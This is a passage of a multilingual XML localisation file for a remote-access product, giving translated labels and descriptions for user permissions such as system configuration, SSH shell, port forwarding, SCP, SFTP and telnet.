<ko>사용자 그룹 및 계정을 삭제할 수 있습니다.</ko>
<en-gb>Allows the user to delete user groups &amp; accounts.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy törölje a felhasználói csoportokat és fiókokat.</hu>
<pt-br>Permite que o usuário exclua grupos de usuários e contas.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker gebruikersgroepen en -accounts verwijderen.</nl>
</msg>
<msg name="SYSCONFIG">
<en>System Configuration</en>
<de>Systemkonfiguration</de>
<es>Configuración del sistema</es>
<fr>Configuration Système</fr>
<it>Configurazione di sistema</it>
<ru>Настройка системы</ru>
<ja>システム構成</ja>
<zh>系统配置</zh>
<ko>시스템 구성</ko>
<en-gb>System Configuration</en-gb>
<hu>Rendszer-konfigurálás</hu>
<pt-br>Configuração do sistema</pt-br>
<nl>Systeemconfiguratie</nl>
</msg>
<msg name="SYSCONFIG.R">
<en>Allows the user to list and view system configuration data, such as environment variables,
virtual memory settings, drive &amp; partition information, network adapters; and browse 
active directory objects &amp; properties.</en>
<de>Erlaubt dem Benutzer die Systemkonfiguration, wie Umgebungsvariablen, virtuellen Speicher, Laufwerke &amp; Partitionen, Netzwerkadapter, anzuzeigen. Active Directory Objekte und Eigenschaften durchsuchen.</de>
<es>Permite al usuario crear listas y ver datos de configuración del sistema, como las variables del entorno,
la configuración de la memoria virtual, información sobre unidades &amp; unidades, adaptadores de red; y buscar 
objetos y propiedades de Active Directory &amp;.</es>
<fr>Autorise l'utilisateur de lister et de voir les données de configuration système, telles que les variables d'environnement,
les paramètres de la mémoire virtuelle, les informations des lecteurs et des partitions,
les adaptateurs réseaux; et de parcourir les objets et les propriétés de l'active directory.</fr>
<it>Consente all'utente di visualizzare l'elenco dei dati di configurazione del sistema, quali variabili d'ambiente, impostazioni della memoria virtuale, informazioni sulle unità e sulle partizioni e schede di rete, e di scorrere gli oggetti Active Directory con le relative proprietà.</it>
<ru>Позволяет пользователю просматривать данные о настройках системы, таких как переменные среды, параметры виртуальной памяти, информацию о дисках и разделах, адаптерах сети, а также объекты и свойства службы каталогов Active Directory.</ru>
<ja>このユーザに対して、システム構成データ (環境変数、仮想メモリ設定、ドライブ情報、パーティション情報、ネットワーク アダプタなど) のリスト化と表示、アクティブ ディレクトリ オブジェクトとアクティブ ディレクトリ プロパティの参照を許可します。</ja>
<zh>允许用户列出和查看系统配置数据,例如环境变量、虚拟内存设置、驱动器与分区信息、网络适配器;浏览活动目录对象和属性。</zh>
<ko>환경 변수, 가상 메모리 설정, 드라이브 및 파티션 정보, 네트워크 어댑터와 같은 시스템 구성 데이터를 나열하거나 볼 수 있으며, 활성 디렉터리 개체 및 속성을 찾을 수 있습니다.</ko>
<en-gb>Allows the user to list and view system configuration data, such as environment variables, virtual memory settings, drive &amp; partition information and network adapters and to browse active directory objects &amp; properties.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy listázza és megtekintse a rendszer konfigurációs adatait, például a környezeti változókat, a
virtuális memória beállításait, meghajtó- és partíció-információkat, hálózati kártyákat, valamint, hogy tallózza az 
Active Directory objektumait és tulajdonságait.</hu>
<pt-br>Permite que o usuário liste e exiba dados de configuração do sistema, como variáveis do ambiente,
configurações de memória virtual, informações de unidade e partição, adaptadores de rede;  e pesquise
objetos e propriedades do active directory.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de gegevens van de systeemconfiguratie weergeven en in een overzicht opvragen, zoals de omgevingsvariabelen, de instellingen voor het virtuele geheugen, informatie over de schijfstations en partities en netwerkadapters, en bladeren in de Active Directory-objecten en hun eigenschappen.</nl>
</msg>
<msg brand="LMI" name="SYSCONFIG.R">
<en>Allows the user to list and view system configuration data, such as environment variables,
virtual memory settings, drive &amp; partition information and network adapters.</en>
<de>Erlaubt dem Benutzer die Systemkonfiguration, wie Umgebungsvariablen, virtuellen Speicher, Laufwerke &amp; Partitionen, Netzwerkadapter, anzuzeigen. Active Directory Objekte und Eigenschaften durchsuchen.</de>
<es>Permite al usuario crear listas y ver datos de configuración del sistema, como las variables del entorno,
la configuración de la memoria virtual, información sobre unidades &amp; unidades, adaptadores de red; y buscar 
objetos y propiedades de Active Directory &amp;.</es>
<fr>Autorise l'utilisateur de lister et de voir les données de configuration système, telles que les variables d'environnement,
les paramètres de la mémoire virtuelle, les informations des lecteurs et des partitions,
les adaptateurs réseaux; et de parcourir les objets et les propriétés de l'active directory.</fr>
<it>Consente all'utente di visualizzare l'elenco dei dati di configurazione del sistema, quali variabili d'ambiente, impostazioni della memoria virtuale, informazioni sulle unità e sulle partizioni e schede di rete, e di scorrere gli oggetti Active Directory con le relative proprietà.</it>
<ru>Позволяет пользователю просматривать данные о настройках системы, таких как переменные среды, параметры виртуальной памяти, информацию о дисках и разделах, адаптерах сети, а также объекты и свойства службы каталогов Active Directory.</ru>
<ja>このユーザに対して、システム構成データ (環境変数、仮想メモリ設定、ドライブ情報、パーティション情報、ネットワーク アダプタなど) のリスト化と表示、アクティブ ディレクトリ オブジェクトとアクティブ ディレクトリ プロパティの参照を許可します。</ja>
<zh>允许用户列出和查看系统配置数据,例如环境变量、虚拟内存设置、驱动器与分区信息、网络适配器;浏览活动目录对象和属性。</zh>
<ko>환경 변수, 가상 메모리 설정, 드라이브 및 파티션 정보, 네트워크 어댑터와 같은 시스템 구성 데이터를 나열하거나 볼 수 있으며, 활성 디렉터리 개체 및 속성을 찾을 수 있습니다.</ko>
<en-gb>Allows the user to list and view system configuration data, such as environment variables, virtual memory settings, drive &amp; partition information and network adapters and to browse active directory objects &amp; properties.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy listázza és megtekintse a rendszer konfigurációs adatait, például a környezeti változókat, a
virtuális memória beállításait, meghajtó- és partíció-információkat, hálózati kártyákat, valamint, hogy tallózza az 
Active Directory objektumait és tulajdonságait.</hu>
<pt-br>Permite que o usuário liste e exiba dados de configuração do sistema, como variáveis do ambiente,
configurações de memória virtual, informações de unidade e partição, adaptadores de rede;  e pesquise
objetos e propriedades do active directory.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de gegevens van de systeemconfiguratie weergeven en in een overzicht opvragen, zoals de omgevingsvariabelen, de instellingen voor het virtuele geheugen, informatie over de schijfstations en partities en netwerkadapters, en bladeren in de Active Directory-objecten en hun eigenschappen.</nl>
</msg>
<msg name="SYSCONFIG.W">
<en>Allows the user to modify system configuration data, such as environment variables,
virtual memory &amp; autologon settings, the system time; and update active directory
properties.</en>
<de>Erlaubt dem Benutzer die Systemkonfiguration, wie Umgebungsvariablen, virtuellen Speicher und automatische Anmeldung, Systemzeit, zu verändern; bearbeiten von Active Directory Eigenschaften.</de>
<es>Permite al usuario modificar datos de configuración del sistema, como las variables del entorno,
configuración de autologon &amp; la memoria virtual, hora del sistema; y actualizar propiedades de los directorios
activos.</es>
<fr>Autorise l'utilisateur de modifier les données de configuration système, telles que les variables d'environnement,
la mémoire virtuelle &amp; les paramètres d'ouverture de session automatique,
l'horloge système; et la mise à jour des propriétés de l'active directory.</fr>
<it>Consente all'utente di modificare i dati di configurazione del sistema, quali variabili d'ambiente, impostazioni della memoria virtuale e di accesso automatico e l'ora di sistema, e di aggiornare le proprietà di Active Directory.</it>
<ru>Позволяет пользователю изменять данные о настройках системы, таких как переменные среды, параметры виртуальной памяти è функции автоматического запуска, системное время, а также обновлять свойства службы каталогов Active Directory.</ru>
<ja>このユーザに対して、システム構成データ (環境変数、仮想メモリと自動ログオンの設定、システム時間など) の変更、アクティブ ディレクトリ プロパティの更新を許可します。</ja>
<zh>允许用户修改系统配置数据,例如环境变量、虚拟内存与自动登录设置、系统时间;更新活动目录属性。</zh>
<ko>환경 변수, 가상 메모리 및 자동 로그온 설정, 시스템 시간과 같은 시스템 구성 데이터를 수정할 수 있으며 사용 중인 디렉터리 속성을 업데이트할 수 있습니다.</ko>
<en-gb>Allows the user to modify system configuration data, such as environment variables,virtual memory &amp; autologon settings and the system time and to update active directory properties.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy módosítsa a rendszer konfigurációs adatait, például a környezeti változókat, a
virtuális memória és automatikus bejelentkezés beállításait, a rendszeridőt, és frissítse az Active Directory
tulajdonságait.</hu>
<pt-br>Permite que o usuário modifique dados de configuração do sistema, como variáveis do ambiente,
configurações de memória virtual e de logon automático, o horário do sistema; e atualize as propriedades do active 
directory.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de gegevens van de systeemconfiguratie wijzigen, zoals de omgevingsvariabelen, de instellingen voor het virtuele geheugen en voor de automatische aanmelding, de tijdsinstelling van het systeem, en de eigenschappen van de Active Directory bijwerken.</nl>
</msg>
<msg brand="LMI" name="SYSCONFIG.W">
<en>Allows the user to modify system configuration data, such as environment variables,
virtual memory &amp; autologon settings and the system time.</en>
<de>Erlaubt dem Benutzer die Systemkonfiguration, wie Umgebungsvariablen, virtuellen Speicher und automatische Anmeldung, Systemzeit, zu verändern; bearbeiten von Active Directory Eigenschaften.</de>
<es>Permite al usuario modificar datos de configuración del sistema, como las variables del entorno,
configuración de autologon &amp; la memoria virtual, hora del sistema; y actualizar propiedades de los directorios
activos.</es>
<fr>Autorise l'utilisateur de modifier les données de configuration système, telles que les variables d'environnement,
la mémoire virtuelle &amp; les paramètres d'ouverture de session automatique,
l'horloge système; et la mise à jour des propriétés de l'active directory.</fr>
<it>Consente all'utente di modificare i dati di configurazione del sistema, quali variabili d'ambiente, impostazioni della memoria virtuale e di accesso automatico e l'ora di sistema, e di aggiornare le proprietà di Active Directory.</it>
<ru>Позволяет пользователю изменять данные о настройках системы, таких как переменные среды, параметры виртуальной памяти è функции автоматического запуска, системное время, а также обновлять свойства службы каталогов Active Directory.</ru>
<ja>このユーザに対して、システム構成データ (環境変数、仮想メモリと自動ログオンの設定、システム時間など) の変更、アクティブ ディレクトリ プロパティの更新を許可します。</ja>
<zh>允许用户修改系统配置数据,例如环境变量、虚拟内存与自动登录设置、系统时间;更新活动目录属性。</zh>
<ko>환경 변수, 가상 메모리 및 자동 로그온 설정, 시스템 시간과 같은 시스템 구성 데이터를 수정할 수 있으며 사용 중인 디렉터리 속성을 업데이트할 수 있습니다.</ko>
<en-gb>Allows the user to modify system configuration data, such as environment variables,virtual memory &amp; autologon settings and the system time and to update active directory properties.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy módosítsa a rendszer konfigurációs adatait, például a környezeti változókat, a
virtuális memória és automatikus bejelentkezés beállításait, a rendszeridőt, és frissítse az Active Directory
tulajdonságait.</hu>
<pt-br>Permite que o usuário modifique dados de configuração do sistema, como variáveis do ambiente,
configurações de memória virtual e de logon automático, o horário do sistema; e atualize as propriedades do active 
directory.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de gegevens van de systeemconfiguratie wijzigen, zoals de omgevingsvariabelen, de instellingen voor het virtuele geheugen en voor de automatische aanmelding, de tijdsinstelling van het systeem, en de eigenschappen van de Active Directory bijwerken.</nl>
</msg>
<msg name="SYSCONFIG.D">
<en>Allows the user to delete environment variables and active directory
properties.</en>
<de>Erlaubt dem Benutzer Umgebungsvariablen und Active Directory Eigenschaften zu löschen.</de>
<es>Permite al usuario eliminar variables del entorno y propiedades de directorios
activos.</es>
<fr>Autorise l'utilisateur de supprimer les variables d'environnement et les
propriétés de l'active directory.</fr>
<it>Consente all'utente di eliminare le variabili d'ambiente e le proprietà di Active Directory.</it>
<ru>Позволяет пользователю удалять переменные среды и свойства службы каталогов Active Directory.</ru>
<ja>このユーザに対して、環境変数とアクティブ ディレクトリ プロパティの削除を許可します。</ja>
<zh>允许用户删除环境变量和活动目录属性。</zh>
<ko>환경 변수 및 활성 디렉터리 속성을 삭제할 수 있습니다.</ko>
<en-gb>Allows the user to delete environment variables and active directory properties.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy törölje a környezeti változókat és az Active Directory-t.
tulajdonságait.</hu>
<pt-br>Permite que o usuário exclua variáveis do ambiente e propriedades do active
directory.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de omgevingsvariabelen en eigenschappen van de Active Directory verwijderen.</nl>
</msg>
<msg brand="LMI" name="SYSCONFIG.D">
<en>Allows the user to delete environment variables.</en>
<de>Erlaubt dem Benutzer Umgebungsvariablen und Active Directory Eigenschaften zu löschen.</de>
<es>Permite al usuario eliminar variables del entorno y propiedades de directorios
activos.</es>
<fr>Autorise l'utilisateur de supprimer les variables d'environnement et les
propriétés de l'active directory.</fr>
<it>Consente all'utente di eliminare le variabili d'ambiente e le proprietà di Active Directory.</it>
<ru>Позволяет пользователю удалять переменные среды и свойства службы каталогов Active Directory.</ru>
<ja>このユーザに対して、環境変数とアクティブ ディレクトリ プロパティの削除を許可します。</ja>
<zh>允许用户删除环境变量和活动目录属性。</zh>
<ko>환경 변수 및 활성 디렉터리 속성을 삭제할 수 있습니다.</ko>
<en-gb>Allows the user to delete environment variables and active directory properties.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy törölje a környezeti változókat és az Active Directory-t.
tulajdonságait.</hu>
<pt-br>Permite que o usuário exclua variáveis do ambiente e propriedades do active
directory.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de omgevingsvariabelen en eigenschappen van de Active Directory verwijderen.</nl>
</msg>
<msg name="SSHSHELL">
<en>SSH Shell</en>
<de>SSH Shell</de>
<es>SSH Shell</es>
<fr>Shell SSH</fr>
<it>SSH Shell</it>
<ru>SSH Shell</ru>
<ja>SSH シェル</ja>
<zh>SSH Shell</zh>
<ko>SSH 셸</ko>
<en-gb>SSH Shell</en-gb>
<hu>SSH héjprogram</hu>
<pt-br>Shell de SSH</pt-br>
<nl>SSH-shell</nl>
</msg>
<msg name="SSHSHELL.R">
<en>Allows the user to open a command prompt via SSH.</en>
<de>Erlaubt dem Benutzer die Eingabeaufforderung über SSH zu öffnen.</de>
<es>Permite al usuario abrir un prompt de comando a través de SSH.</es>
<fr>Autorise l'utilisateur d'ouvrir une invite de commande via SSH.</fr>
<it>Consente all'utente di aprire un prompt dei comandi tramite SSH.</it>
<ru>Позволяет пользователю открывать приглашение на ввод команды через SSH.</ru>
<ja>このユーザに対して、SSH を介してコマンド プロンプトを開くことを許可します。</ja>
<zh>允许用户通过 SSH 打开命令提示。</zh>
<ko>SSH를 통해 명령 프롬프트를 열 수 있습니다.</ko>
<en-gb>Allows the user to open a command propmt via SSH.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy parancssort nyisson meg SSH-n.</hu>
<pt-br>Permite que o usuário abra o prompt de comando via SSH.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker een venster met een opdrachtregel via SSH openen.</nl>
</msg>
<msg name="SSHPF">
<en>SSH Port Forward</en>
<de>SSH Port Forward</de>
<es>Reenvío de puerto SSH</es>
<fr>Déviation Port SSH</fr>
<it>Inoltro porta SSH</it>
<ru>Перенаправление портов SSH</ru>
<ja>SSH ポート転送</ja>
<zh>SSH 端口转发</zh>
<ko>SSH 포트 전달</ko>
<en-gb>SSH Port Forward</en-gb>
<hu>SSH Port-átirányítás</hu>
<pt-br>Encaminhamento de porta SSH</pt-br>
<nl>SSH-poorttoewijzing</nl>
</msg>
<msg name="SSHPF.R">
<en>Allows the user to use port forwarding via SSH.</en>
<de>Erlaubt dem Benutzer Port Forwarding über SSH zu verwenden.</de>
<es>Permite al usuario utilizar el reenvío de puerto a través de SSH.</es>
<fr>Autorise l'utilisateur d'utiliser la déviation de ports via SSH</fr>
<it>Consente all'utente di utilizzare l'inoltro delle porte tramite SSH.</it>
<ru>Позволяет пользователю использовать перенаправление портов через SSH.</ru>
<ja>このユーザに対して、SSH を介したポート転送の使用を許可します。</ja>
<zh>允许用户通过 SSH 使用端口转发。</zh>
<ko>SSH를 통한 포트 전달을 사용할 수 있습니다.</ko>
<en-gb>Allows the user to use port forwarding via SSH.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy port-átirányítást használjon SSH-n.</hu>
<pt-br>Permite que o usuário utilize o encaminhamento de porta via SSH.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de poorttoewijzing via SSH gebruiken.</nl>
</msg>
<msg name="SSHPFUNREST">
<en>SSH Port Forward without restrictions</en>
<es>SSH Port Forward sin restricciones</es>
<de>SSH Port Forward ohne Einschränkungen</de>
<fr>Redirection de ports SSH sans restriction</fr>
<it>SSH Port Forward senza limitazioni</it>
<ru>Перенаправление портов SSH Port Forward без ограничений</ru>
<ja>制限を付けない SSH Port Forward</ja>
<zh>无限制 SSH 端口转发</zh>
<ko>무제한 SSH 포트 전달</ko>
<en-gb>SSH Port Forward without restrictions</en-gb>
<hu>SSH Port Forward korlátozás nélkül</hu>
<pt-br>SSH Port Forward sem restrições</pt-br>
<nl>SSH Port Forward zonder beperkingen</nl>
</msg>
<msg name="SSHPFUNREST.R">
<en>Allows the user to use port forwarding via SSH without restrictions.</en>
<es>Permite al usuario utilizar el reenvío de puerto a través de SSH sin restricciones.</es>
<de>Ermöglicht es dem Benutzer, die Portweiterleitung über SSH ohne Einschränkungen zu verwenden.</de>
<fr>Permet d'utiliser la redirection de ports par SSH sans restrictions.</fr>
<it>Consente all'utente di usare l'inoltro delle porte tramite SSH senza limitazioni.</it>
<ru>Позволяет пользователю без ограничений использовать перенаправление портов посредством SSH.</ru>
<ja>制限を付けずに SSH 経由でポート転送を使うことを許可します。</ja>
<zh>允许用户通过无限制 SSH 使用端口转发</zh>
<ko>사용자가 무제한으로 SSH를 통한 포트 전달을 사용할 수 있게 해줍니다.</ko>
<en-gb>Allows the user to use port forwarding via SSH without restrictions.</en-gb>
<hu>Lehetővé teszi, hogy a felhasználó korlátozás nélküli porttovábbítást használjon SSH-n.</hu>
<pt-br>Permite que o usuário utilize o encaminhamento de porta via SSH sem restrições.</pt-br>
<nl>Geeft de gebruiker toestemming de poorttoewijzing via SSH zonder beperkingen te gebruiken.</nl>
</msg>
<msg name="SSHPFRESTLINK">
<en>SSH Port Forward restrictions</en>
<es>Restricciones de SSH Port Forward</es>
<de>Einschränkungen für SSH Port Forward</de>
<fr>Restrictions de redirection de ports SSH</fr>
<it>Limitazioni SSH Port Forward</it>
<ru>Ограничения перенаправления портов SSH Port Forward</ru>
<ja>SSH Port Forward の制限</ja>
<zh>SSH 端口转发限制</zh>
<ko>제한 SSH 포트 전달</ko>
<en-gb>SSH Port Forward restrictions</en-gb>
<hu>SSH Port Forward korlátozása</hu>
<pt-br>Restrições do SSH Port Forward</pt-br>
<nl>Beperkingen SSH Port Forward</nl>
</msg>
<msg name="AFTERSSHPFCHANGED">
<en>(Save changes before editing)</en>
<es>(Guarde los cambios antes de editar)</es>
<de>(Änderungen vor dem Bearbeiten speichern)</de>
<fr>(Enregistrer les changements avant de modifier)</fr>
<it>(Salvare i cambiamenti prima di modificare)</it>
<ru>(Сохраните изменения перед редактированием)</ru>
<ja>(編集前に変更を保存)</ja>
<zh>(编辑前保护更改)</zh>
<ko>(편집 전에 변경 내용 저장)</ko>
<en-gb>(Save changes before editing)</en-gb>
<hu>(Módosítások mentése a szerkesztés előtt)</hu>
<pt-br>(Salvar alterações antes de editar)</pt-br>
<nl>(Wijzigingen opslaan vóór het bewerken)</nl>
</msg>
<msg name="SSHPRIVPF">
<en>SSH Privileged Port Forward</en>
<de>SSH Privilegierter Port Forward</de>
<es>Reenvío privilegiado de puerto SSH</es>
<fr>Privilège Déviation Port SSH</fr>
<it>Inoltro privilegiato della porta SSH</it>
<ru>Привилегированное перенаправление портов SSH</ru>
<ja>SSH 特権ポート転送</ja>
<zh>SSH 特权端口转发</zh>
<ko>SSH 권한이 있는 포트 전달</ko>
<en-gb>SSH Privileged Port Forward</en-gb>
<hu>SSH privilegizált port-átirányítás</hu>
<pt-br>Encaminhamento privilegiado de porta SSH</pt-br>
<nl>SSH-poorttoewijzing met bevoegdheden</nl>
</msg>
<msg name="SSHPRIVPF.R">
<en>Allows the user to use port forwarding for ports below 1024 via SSH.</en>
<de>Erlaubt dem Benutzer Port Forwarding für Ports unterhalb von 1024 über SSH zu verwenden.</de>
<es>Permite al usuario utilizar el reenvío de puerto para puertos por debajo de 1024 a través de SSH.</es>
<fr>Autorise l'utilisateur d'utiliser la déviation de ports au-dessous de 1024 via SSH.</fr>
<it>Consente all'utente di utilizzare l'inoltro tramite SSH per le porte inferiori alla 1024.</it>
<ru>Позволяет пользователю использовать перенаправление портов с номерами ниже 1024 через SSH.</ru>
<ja>このユーザに対して、SSH を介した 1024 以下のポートのポート転送の使用を許可します。</ja>
<zh>允许用户通过 SSH 为小于 1024 的端口使用端口转发。</zh>
<ko>SSH를 통해 1024 이하 포트의 포트 전달을 사용할 수 있습니다.</ko>
<en-gb>Allows the user to use port forwarding for ports below 1024 via SSH.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy port-átirányítást használjon 1024 alatti portokra SSH-n.</hu>
<pt-br>Permite que o usuário utilize o encaminhamento de portas abaixo de 1024 via SSH.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de poorttoewijzing via SSH gebruiken voor de poorten met poortnummers lager dan 1024.</nl>
</msg>
<msg name="SSHSCP">
<en>SCP</en>
<de>SCP</de>
<es>SCP</es>
<fr>SCP</fr>
<it>SCP</it>
<ru>SCP</ru>
<ja>SCP</ja>
<zh>SCP</zh>
<ko>SCP</ko>
<en-gb>SCP</en-gb>
<hu>SCP</hu>
<pt-br>SCP</pt-br>
<nl>SCP</nl>
</msg>
<msg name="SSHSCP.R">
<en>Allows the user to use SCP (secure file copy) via SSH.</en>
<de>Erlaubt dem Benutzer SCP (secure file copy) über SSH zu verwenden.</de>
<es>Permite al usuario utilizar SCP (copia segura de archivos) a través de SSH.</es>
<fr>Autorise l'utilisateur d'utiliser SCP (copie sécurisée de fichiers) via SSH</fr>
<it>Consente all'utente di utilizzare SCP (Secure File Copy) tramite SSH.</it>
<ru>Позволяет пользователю использовать SCP (безопасное копирование файлов) через SSH.</ru>
<ja>このユーザに対して、SSH を介した SCP (セキュア ファイル コピー) の使用を許可します。</ja>
<zh>允许用户通过 SSH 使用 SCP(安全文件副本)。</zh>
<ko>SSH를 통해 SCP(secure file copy)를 사용할 수 있습니다.</ko>
<en-gb>Allows the user to use SCP (secure file copy) via SSH.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy SCP-t (biztonságos fájlmásolást) használjon SSH-n.</hu>
<pt-br>Permite que o usuário utilize SCP (cópia segura de arquivo) via SSH.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker SCP (Secure File Copy - beveiligd kopiëren van bestanden) via SSH gebruiken.</nl>
</msg>
<msg name="SSHSFTP">
<en>SFTP</en>
<de>SFTP</de>
<es>SFTP</es>
<fr>SFTP</fr>
<it>SFTP</it>
<ru>SFTP</ru>
<ja>SFTP</ja>
<zh>SFTP</zh>
<ko>SFTP</ko>
<en-gb>SFTP</en-gb>
<hu>SFTP</hu>
<pt-br>SFTP</pt-br>
<nl>SFTP</nl>
</msg>
<msg name="SSHSFTP.R">
<en>Allows the user to use SFTP (secure file transfer) via SSH.</en>
<de>Erlaubt dem Benutzer SFTP (secure file transfer) über SSH zu verwenden.</de>
<es>Permite al usuario utilizar SFTP (transferencia segura de archivos) a través de SSH.</es>
<fr>Autorise l'utilisateur d'utiliser SFTP(transfert sécurisé de fichiers) via SSH</fr>
<it>Consente all'utente di utilizzare SFTP (Secure File Transfer) tramite SSH.</it>
<ru>Позволяет пользователю использовать SFTP (безопасная передача файлов) через SSH.</ru>
<ja>このユーザに対して、SSH を介した SFTP (セキュア ファイル転送) の使用を許可します。</ja>
<zh>允许用户通过 SSH 使用 SFTP(安全文件传输)。</zh>
<ko>SSH를 통해 SFTP(secure file transfer)를 사용할 수 있습니다.</ko>
<en-gb>Allows the user to use SFTP (secure file transfer) via SSH.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy SFTP-t (biztonságos fájlátvitelt) használjon SSH-n.</hu>
<pt-br>Permite que o usuário utilize SFTP (transferência segura de arquivo) via SSH.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker SFTP (Secure File Transfer - beveiligde overdracht van bestanden) via SSH gebruiken.</nl>
</msg>
<msg name="TELNETJAVA">
<en>Command Prompt</en>
<de>Eingabeaufforderung</de>
<es>Prompt de comando.</es>
<fr>Telnet (%PRODUCTABBR Client)</fr>
<it>Prompt dei comandi</it>
<ru>Приглашение на ввод команды</ru>
<ja>コマンド プロンプト</ja>
<zh>命令提示</zh>
<ko>명령 프롬프트</ko>
<en-gb>Command Prompt</en-gb>
<hu>Parancssor</hu>
<pt-br>Prompt de comando</pt-br>
<nl>Opdrachtprompt</nl>
</msg>
<msg name="TELNETJAVA.R">
<en>Allows the user to use the secure %PRODUCTNAME telnet applet to open
a remote command prompt.</en>
<de>Erlaubt dem Benutzer das sichere %PRODUCTNAME Telnet Applet für die Remote-Eingabeaufforderung zu verwenden.</de>
<es>Permite al usuario utilizar el programa telnet seguro de %PRODUCTNAME para abrir
un prompt de comando remoto.</es>
<fr>Autorise l'utilisateur d'utiliser l'applet telnet sécurisé de %PRODUCTNAME pour ouvrir
une invite de commande à distance.</fr>
<it>Consente all'utente di utilizzare l'applet Telnet protetta di %PRODUCTNAME per aprire un prompt dei comandi remoto.</it>
<ru>Позволяет пользователю использовать защищенный telnet-апплет %PRODUCTNAME, чтобы открыть удаленное приглашение на ввод команды.</ru>
<ja>このユーザに対して、安全な %PRODUCTNAME Telnet アプレットを使用してリモートのコマンド プロンプトを開くことを許可します。</ja>
<zh>允许用户使用安全的 %PRODUCTNAME Telnet 小程序打开远程命令提示。</zh>
<ko>보안 %PRODUCTNAME 텔넷 애플릿을 사용하여 원격 명령 프롬프트를 열 수 있습니다.</ko>
<en-gb>Allows the user to use the secure %PRODUCTNAME telnet applet to open a remote command prompt.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy a biztonságos %PRODUCTNAME telnet segédalkalmazást használja egy 
távoli parancssor megnyitásához.</hu>
<pt-br>Permite que o usuário utilize o miniaplicativo telnet seguro do %PRODUCTNAME para abrir
o prompt de comando remoto.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de beveiligde Telnet-applet van %PRODUCTNAME gebruiken om op de externe computer een venster met een opdrachtprompt te openen.</nl>
</msg>
<msg name="TELNET">
<en>Telnet</en>
<de>Telnet</de>
<es>Telnet</es>
<fr>Telnet</fr>
<it>Telnet</it>
<ru>Telnet</ru>
<ja>Telnet</ja>
<zh>Telnet</zh>
<ko>텔넷</ko>
<en-gb>Telnet</en-gb>
<hu>Telnet</hu>
<pt-br>Telnet</pt-br>
<nl>Telnet</nl>
</msg>
<msg name="TELNET.R">
<en>Allows the user to use any unsecured telnet client to open a remote command prompt.</en>
<de>Erlaubt dem Benutzer jeglichen unsicheren Telnet-Client für die Remote-Eingabeaufforderung zu verwenden.</de>
<es>Permite al usuario utilizar cualquier cliente telnet no seguro para abrir un prompt de comando remoto.</es>
<fr>Autorise l'utilisateur d'utiliser un client telnet insécurisé pour ouvrir une invite
de commande à distance.</fr>
<it>Consente all'utente di utilizzare un client Telnet non protetto per aprire un prompt dei comandi remoto.</it>
<ru>Позволяет пользователю использовать любой незащищенный telnet-клиент, чтобы открыть удаленное приглашение на ввод команды.</ru>
<ja>このユーザに対して、安全でない任意の Telnet クライアントを使用してリモートのコマンド プロンプトを開くことを許可します。</ja>
<zh>允许用户使用任何非安全的 Telnet 客户端打开远程命令提示。</zh>
<ko>보안되지 않은 텔넷 클라이언트를 사용하여 원격 명령 프롬프트를 열 수 있습니다.</ko>
<en-gb>Allows the user to use any unsecured telnet client to open a remote command prompt.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy bármilyen, nem biztonságos telnet kliensprogramot használjon egy távoli parancssor megnyitásához.</hu>
<pt-br>Permite que o usuário utilize qualquer cliente do telnet não seguro para abrir o prompt de comando remoto.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker elke onbeveiligde Telnet-client gebruiken om op de externe computer een venster met een opdrachtprompt te openen.</nl>
</msg>
<msg name="GUESTINVITE">
<en>Desktop Sharing</en>
<es>Escritorio compartido</es>
<de>Desktopfreigabe</de>
<fr>Partage de bureau</fr>
<it>Condivisione del desktop</it>
<ru>Общий доступ к рабочему столу</ru>
<ja>デスクトップ共有</ja>
<zh>桌面共享</zh>
<ko>데스크톱 공유</ko>
<en-gb>Desktop Sharing</en-gb>
<hu>Képernyő megosztása</hu>
<pt-br>Compartilhamento do desktop</pt-br>
<nl>Bureaublad delen</nl>
</msg>
<msg name="GUESTINVITE.D">
<en>Allows the user to create and delete Guest Invitations.</en>
<es>Permite al usuario crear y eliminar invitaciones de usuario.</es>
<de>Der Benutzer darf Einladungen von Gästen erstellen und löschen.</de>
<fr>Permet à l'utilisateur de créer et de supprimer des Sollicitations de tiers.</fr>
<it>Consente all'utente di creare ed eliminare inviti per gli ospiti.</it>
<ru>Позволяет пользователю создавать и удалять гостевые приглашения.</ru>
<ja>このユーザに対して、ゲスト招待の作成および削除を許可します。</ja>
<zh>允许用户创建和删除“来宾邀请”。</zh>
<ko>게스트 초대를 만들거나 삭제할 수 있습니다.</ko>
<en-gb>Allows the user to create and delete Guest Invitations.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy vendég-meghívókat hozzon létre és töröljön.</hu>
<pt-br>Permite que o usuário crie e exclua Convidados.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker uitnodigingen voor gastgebruikers maken en verwijderen.</nl>
</msg>
<msg name="CHAT">
<en>Chat</en>
<es>Conversación</es>
<de>Dialog</de>
<fr>Discuter</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
